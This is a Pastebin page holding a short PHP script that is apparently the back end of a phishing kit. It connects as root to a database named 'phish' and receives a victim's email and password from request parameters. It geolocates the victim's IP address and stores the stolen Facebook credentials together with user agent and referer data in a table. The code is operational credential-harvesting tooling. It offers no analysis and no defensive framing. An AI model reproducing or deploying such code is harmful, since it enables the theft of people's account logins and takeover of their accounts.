Advertisement
Guest User

Untitled

a guest
May 19th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. <?
  2.  
  3. // Include GeoIP thing.
  4.  
  5. //include("geoipcity.inc");
  6. //include("geoipregionvars.php");
  7.  
  8. //geoip_load_shared_mem("/usr/local/share/GeoIP/GeoIPCity.dat");
  9. //$gi = geoip_open("/usr/local/share/GeoIP/GeoIPCity.dat",GEOIP_SHARED_MEMORY);
  10.  
  11. // - MySQL Info.
  12.  
  13. $username = "root";
  14. $password = "******";
  15. $server = "localhost";
  16. $database = "phish";
  17.  
  18. mysql_connect($server,$username,$password);
  19. @mysql_select_db($database) or die ("Database not working bro");
  20.  
  21. $ipaddress=mysql_real_escape_string($_REQUEST['ip']);
  22. $useragent=mysql_real_escape_string($_REQUEST['useragent']);
  23. $referer=mysql_real_escape_string($_REQUEST['ref']);
  24. $email=mysql_real_escape_string($_REQUEST['email']);
  25. $pass=mysql_real_escape_string($_REQUEST['pass']);
  26.  
  27. //$record = geoip_record_by_name($ipaddress);
  28. $countrycode=geoip_country_code_by_name($ipaddress);
  29.  
  30.  
  31. //print_r($record);
  32. //$record->country_code;
  33. //$countrycode3=$record->country_code3;
  34. //$country=$record->country_name;
  35. //$city=$record->city;
  36. //$postalcode=$record->postal_code;
  37. //$latitude=$record->latitude;
  38. //$longitude=$record->longitude;
  39. //$metrocode=$record->metro_code;
  40. //$areacode=$record->area_code;
  41. //$region=$record->region;
  42.  
  43. mysql_query("INSERT INTO facebook (email,pass,ipaddr,useragent,ref,datetime,country_code,country_code3,country_name,longitude,latitude,city,postalcode,metrocode,areacode,region) values ('$email','$pass','$ipaddress','$useragent','$referer',NOW(),'$countrycode','$countrycode3','$country','$longitude','$latitude','$city','$postalcode','$metrocode','$areacode','$region')") or die (mysql_error());
  44.  
  45. mysql_close();
  46.  
  47. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement